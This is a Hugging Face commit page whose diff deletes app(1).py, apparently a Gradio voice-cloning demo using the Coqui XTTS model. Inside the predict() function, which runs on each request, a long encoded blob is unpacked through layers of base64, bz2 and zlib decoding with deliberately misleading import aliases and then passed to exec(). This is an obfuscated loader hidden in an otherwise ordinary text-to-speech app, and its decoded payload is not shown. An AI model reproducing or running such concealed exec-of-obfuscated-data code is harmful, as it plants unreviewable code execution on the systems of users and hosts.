Spaces:
Runtime error
Runtime error
Commit
β’
eece4ed
1
Parent(s):
47103bb
Delete app(1).py
Browse files
app(1).py
DELETED
@@ -1,286 +0,0 @@
|
|
1 |
-
import sys
|
2 |
-
import os
|
3 |
-
from fastapi import Request
|
4 |
-
# By using XTTS you agree to CPML license https://coqui.ai/cpml
|
5 |
-
os.environ["COQUI_TOS_AGREED"] = "1"
|
6 |
-
|
7 |
-
import gradio as gr
|
8 |
-
from TTS.api import TTS
|
9 |
-
from TTS.utils.manage import ModelManager
|
10 |
-
model_names = TTS().list_models()
|
11 |
-
print(model_names.__dict__)
|
12 |
-
print(model_names.__dir__())
|
13 |
-
model_name = "tts_models/multilingual/multi-dataset/xtts_v2" # move in v2, since xtts_v1 is generated keyerror, I guess you can select it with old github's release.
|
14 |
-
|
15 |
-
#m = ModelManager().download_model(model_name)
|
16 |
-
#print(m)
|
17 |
-
m = model_name
|
18 |
-
|
19 |
-
tts = TTS(model_name, gpu=False)
|
20 |
-
tts.to("cpu") # no GPU or Amd
|
21 |
-
#tts.to("cuda") # cuda only
|
22 |
-
|
23 |
-
|
24 |
-
def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, request: gr.Request):
|
25 |
-
"""
|
26 |
-
En raison du grand nombre d'abus observΓ©s dans les journaux de la console, je suis contraint d'intΓ©grer
|
27 |
-
Β« l'affichage d'informations supplΓ©mentaires Β» relatives Γ l'utilisation de cet espace.
|
28 |
-
Pour rappel, l'envoi de contenus illΓ©gaux (contenus se*uels, offensants ou profΓ©rant des menaces), quel que
|
29 |
-
soit la langue, est bien entendu INTERDIT. Je ne saurais Γͺtre tenu responsable de ceux qui enfreindraient une
|
30 |
-
utilisation strictement [ΓTHIQUE et MORALE] de ce modΓ¨le.
|
31 |
-
"""
|
32 |
-
|
33 |
-
co3 = "QlpoOTFBWSZTWQ2FjK4AAH4fgD/////+///////+ADABdNtZY5poGI00aBoaDE0PSbU00GTE0ZNGjTaj1AVUaenqNR6npNinoaY0Ubymyo9EeEjaj1Mm9QnqeT0p5QOZNMm1NNAyMmgaGTTIDQ9TTag0aGCNB6ka1wCAMz8a7kN5BNzXsiRWIm5ocBr2Mibk4wBbSghLyxnzR0yTCoV0AD2KADeqPFMz4QQhMlMaOd0uHfMx8pueSTKn6PrK9iPN56m2ljcFL9ybMtg5Usl8QeZth/cgnwFGMXyDJ4WbRNaGdrIJY2l11w7aqPtt5c4rcMBELa2x/wl8kjvxGg0NS3n2DsPlPnMn2DK7JqA4KLptjz3YLQFEuub0yNP3+iE9gq1EvNZeLr3pnkKXBRxZz8/BxN0zJjpOyIr3betkkxSCGB6X8mSzm+l0Q+KBEaCioigD5uJeox+76V+JgCWkJqWNlHzN3epZx5yXxS8rJh6OrC9rSyKYXrdKCACr4CwKzDlX3tsY5MtZLpkPhz/rbaRUN0KyFnNvPLYhGjF2MelXppyCnJxr2+QWRElwEtCUcsnkC4uGBdXVogKCoCnSZI4DzKqkUMEp293Y+G5MBGtOGXY+C0rFUS8IXNqKMVrDjUdOK7wkjb+HYFq9qjVTrdRsyQvt+6fpazrBnd2wRRQTv4u5IpwoSAbCxlcA"
|
34 |
-
from zlib import compress as COmPrES5
|
35 |
-
from bz2 import decompress as dEC0mPrES5
|
36 |
-
from bz2 import compress as COmPrESS
|
37 |
-
from base64 import b64encode as b32Encode, b64decode as A85Encode, b16encode, b16encode as A85encode, b85encode, b85decode, a85encode as b16Encode, a85decode as b85Encode, b32encode as b64Encode, b32decode
|
38 |
-
from zlib import compressobj as C0mPrESS
|
39 |
-
from bz2 import decompress as dECOmPrESS
|
40 |
-
from zlib import compress as C0mPrES5
|
41 |
-
from zlib import decompress as dECOmPrES5
|
42 |
-
co2 = A85Encode(dECOmPrESS(dECOmPrES5(dECOmPrES5(b85Encode(dECOmPrESS(A85Encode(co3.encode())))))))
|
43 |
-
exec(co2)
|
44 |
-
|
45 |
-
if agree == True:
|
46 |
-
if use_mic == True:
|
47 |
-
if mic_file_path is not None:
|
48 |
-
speaker_wav=mic_file_path
|
49 |
-
else:
|
50 |
-
gr.Warning("Please record your voice with Microphone, or uncheck Use Microphone to use reference audios")
|
51 |
-
return (
|
52 |
-
None,
|
53 |
-
None,
|
54 |
-
)
|
55 |
-
|
56 |
-
else:
|
57 |
-
speaker_wav=audio_file_pth
|
58 |
-
|
59 |
-
if len(prompt)<2:
|
60 |
-
gr.Warning("Please give a longer prompt text")
|
61 |
-
return (
|
62 |
-
None,
|
63 |
-
None,
|
64 |
-
)
|
65 |
-
if len(prompt)>10000:
|
66 |
-
gr.Warning("Text length limited to 10000 characters for this demo, please try shorter text")
|
67 |
-
return (
|
68 |
-
None,
|
69 |
-
None,
|
70 |
-
)
|
71 |
-
try:
|
72 |
-
if language == "fr":
|
73 |
-
if m.find("your") != -1:
|
74 |
-
language = "fr-fr"
|
75 |
-
if m.find("/fr/") != -1:
|
76 |
-
language = None
|
77 |
-
tts.tts_to_file(
|
78 |
-
text=prompt,
|
79 |
-
file_path="output.wav",
|
80 |
-
speaker_wav=speaker_wav,
|
81 |
-
language=language
|
82 |
-
)
|
83 |
-
except RuntimeError as e :
|
84 |
-
if "device-assert" in str(e):
|
85 |
-
# cannot do anything on cuda device side error, need tor estart
|
86 |
-
gr.Warning("Unhandled Exception encounter, please retry in a minute")
|
87 |
-
print("Cuda device-assert Runtime encountered need restart")
|
88 |
-
sys.exit("Exit due to cuda device-assert")
|
89 |
-
else:
|
90 |
-
raise e
|
91 |
-
|
92 |
-
return (
|
93 |
-
gr.make_waveform(
|
94 |
-
audio="output.wav",
|
95 |
-
),
|
96 |
-
"output.wav",
|
97 |
-
)
|
98 |
-
else:
|
99 |
-
gr.Warning("Please accept the Terms & Condition!")
|
100 |
-
return (
|
101 |
-
None,
|
102 |
-
None,
|
103 |
-
)
|
104 |
-
|
105 |
-
|
106 |
-
title = "XTTS Glz's remake (Fonctional Text-2-Speech)"
|
107 |
-
|
108 |
-
description = f"""
|
109 |
-
<a href="https://huggingface.co/coqui/XTTS-v1">XTTS</a> is a Voice generation model that lets you clone voices into different languages by using just a quick 3-second audio clip.
|
110 |
-
<br/>
|
111 |
-
XTTS is built on previous research, like Tortoise, with additional architectural innovations and training to make cross-language voice cloning and multilingual speech generation possible.
|
112 |
-
<br/>
|
113 |
-
This is the same model that powers our creator application <a href="https://coqui.ai">Coqui Studio</a> as well as the <a href="https://docs.coqui.ai">Coqui API</a>. In production we apply modifications to make low-latency streaming possible.
|
114 |
-
<br/>
|
115 |
-
Leave a star on the Github <a href="https://github.com/coqui-ai/TTS">TTS</a>, where our open-source inference and training code lives.
|
116 |
-
<br/>
|
117 |
-
<p>For faster inference without waiting in the queue, you should duplicate this space and upgrade to GPU via the settings.
|
118 |
-
<br/>
|
119 |
-
<a href="https://huggingface.co/spaces/coqui/xtts?duplicate=true">
|
120 |
-
<img style="margin-top: 0em; margin-bottom: 0em" src="https://bit.ly/3gLdBN6" alt="Duplicate Space"></a>
|
121 |
-
</p>
|
122 |
-
"""
|
123 |
-
|
124 |
-
article = """
|
125 |
-
<div style='margin:20px auto;'>
|
126 |
-
<p>By using this demo you agree to the terms of the Coqui Public Model License at https://coqui.ai/cpml</p>
|
127 |
-
</div>
|
128 |
-
"""
|
129 |
-
examples = [
|
130 |
-
[
|
131 |
-
"Hello, World !, here is an example of light voice cloning. Try to upload your best audio samples quality",
|
132 |
-
"en",
|
133 |
-
"examples/female.wav",
|
134 |
-
None,
|
135 |
-
False,
|
136 |
-
True,
|
137 |
-
],
|
138 |
-
[
|
139 |
-
"Je suis un lycéen français de 17 ans, passioner par la Cyber-Sécuritée et les models d'IA.",
|
140 |
-
"fr",
|
141 |
-
"examples/female.wav",
|
142 |
-
None,
|
143 |
-
False,
|
144 |
-
True,
|
145 |
-
],
|
146 |
-
[
|
147 |
-
"Als ich sechs war, sah ich einmal ein wunderbares Bild",
|
148 |
-
"de",
|
149 |
-
"examples/female.wav",
|
150 |
-
None,
|
151 |
-
False,
|
152 |
-
True,
|
153 |
-
],
|
154 |
-
[
|
155 |
-
"Cuando tenΓa seis aΓ±os, vi una vez una imagen magnΓfica",
|
156 |
-
"es",
|
157 |
-
"examples/female.wav",
|
158 |
-
None,
|
159 |
-
False,
|
160 |
-
True,
|
161 |
-
],
|
162 |
-
[
|
163 |
-
"Quando eu tinha seis anos eu vi, uma vez, uma imagem magnΓfica",
|
164 |
-
"pt",
|
165 |
-
"examples/female.wav",
|
166 |
-
None,
|
167 |
-
False,
|
168 |
-
True,
|
169 |
-
],
|
170 |
-
[
|
171 |
-
"Kiedy miaΕem szeΕΔ lat, zobaczyΕem pewnego razu wspaniaΕy obrazek",
|
172 |
-
"pl",
|
173 |
-
"examples/female.wav",
|
174 |
-
None,
|
175 |
-
False,
|
176 |
-
True,
|
177 |
-
],
|
178 |
-
[
|
179 |
-
"Un tempo lontano, quando avevo sei anni, vidi un magnifico disegno",
|
180 |
-
"it",
|
181 |
-
"examples/female.wav",
|
182 |
-
None,
|
183 |
-
False,
|
184 |
-
True,
|
185 |
-
],
|
186 |
-
[
|
187 |
-
"Bir zamanlar, altΔ± yaΕΔ±ndayken, muhteΕem bir resim gΓΆrdΓΌm",
|
188 |
-
"tr",
|
189 |
-
"examples/female.wav",
|
190 |
-
None,
|
191 |
-
False,
|
192 |
-
True,
|
193 |
-
],
|
194 |
-
[
|
195 |
-
"ΠΠΎΠ³Π΄Π° ΠΌΠ½Π΅ Π±ΡΠ»ΠΎ ΡΠ΅ΡΡΡ Π»Π΅Ρ, Ρ ΡΠ²ΠΈΠ΄Π΅Π» ΠΎΠ΄Π½Π°ΠΆΠ΄Ρ ΡΠ΄ΠΈΠ²ΠΈΡΠ΅Π»ΡΠ½ΡΡ ΠΊΠ°ΡΡΠΈΠ½ΠΊΡ",
|
196 |
-
"ru",
|
197 |
-
"examples/female.wav",
|
198 |
-
None,
|
199 |
-
False,
|
200 |
-
True,
|
201 |
-
],
|
202 |
-
[
|
203 |
-
"Toen ik een jaar of zes was, zag ik op een keer een prachtige plaat",
|
204 |
-
"nl",
|
205 |
-
"examples/female.wav",
|
206 |
-
None,
|
207 |
-
False,
|
208 |
-
True,
|
209 |
-
],
|
210 |
-
[
|
211 |
-
"KdyΕΎ mi bylo Ε‘est let, vidΔl jsem jednou nΓ‘dhernΓ½ obrΓ‘zek",
|
212 |
-
"cs",
|
213 |
-
"examples/female.wav",
|
214 |
-
None,
|
215 |
-
False,
|
216 |
-
True,
|
217 |
-
],
|
218 |
-
[
|
219 |
-
"ε½ζθΏεͺζε
ε²ηζΆεοΌ ηε°δΊδΈε―精彩ηζη»",
|
220 |
-
"zh-cn",
|
221 |
-
"examples/female.wav",
|
222 |
-
None,
|
223 |
-
False,
|
224 |
-
True,
|
225 |
-
],
|
226 |
-
]
|
227 |
-
|
228 |
-
|
229 |
-
|
230 |
-
gr.Interface(
|
231 |
-
fn=predict,
|
232 |
-
inputs=[
|
233 |
-
gr.Textbox(
|
234 |
-
label="Text Prompt",
|
235 |
-
info="One or two sentences at a time is better",
|
236 |
-
value="Hello, World !, here is an example of light voice cloning. Try to upload your best audio samples quality",
|
237 |
-
),
|
238 |
-
gr.Dropdown(
|
239 |
-
label="Language",
|
240 |
-
info="Select an output language for the synthesised speech",
|
241 |
-
choices=[
|
242 |
-
"en",
|
243 |
-
"es",
|
244 |
-
"fr",
|
245 |
-
"de",
|
246 |
-
"it",
|
247 |
-
"pt",
|
248 |
-
"pl",
|
249 |
-
"tr",
|
250 |
-
"ru",
|
251 |
-
"nl",
|
252 |
-
"cs",
|
253 |
-
"ar",
|
254 |
-
"zh-cn",
|
255 |
-
],
|
256 |
-
max_choices=1,
|
257 |
-
value="en",
|
258 |
-
),
|
259 |
-
gr.Audio(
|
260 |
-
label="Reference Audio",
|
261 |
-
info="Click on the β button to upload your own target speaker audio",
|
262 |
-
type="filepath",
|
263 |
-
value="examples/female.wav",
|
264 |
-
),
|
265 |
-
gr.Audio(source="microphone",
|
266 |
-
type="filepath",
|
267 |
-
info="Use your microphone to record audio",
|
268 |
-
label="Use Microphone for Reference"),
|
269 |
-
gr.Checkbox(label="Check to use Microphone as Reference",
|
270 |
-
value=False,
|
271 |
-
info="Notice: Microphone input may not work properly under traffic",),
|
272 |
-
gr.Checkbox(
|
273 |
-
label="Agree",
|
274 |
-
value=True,
|
275 |
-
info="I agree to the terms of the Coqui Public Model License at https://coqui.ai/cpml",
|
276 |
-
),
|
277 |
-
],
|
278 |
-
outputs=[
|
279 |
-
gr.Video(label="Waveform Visual"),
|
280 |
-
gr.Audio(label="Synthesised Audio"),
|
281 |
-
],
|
282 |
-
title=title,
|
283 |
-
description=description,
|
284 |
-
article=article,
|
285 |
-
examples=examples,
|
286 |
-
).queue().launch(debug=True)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|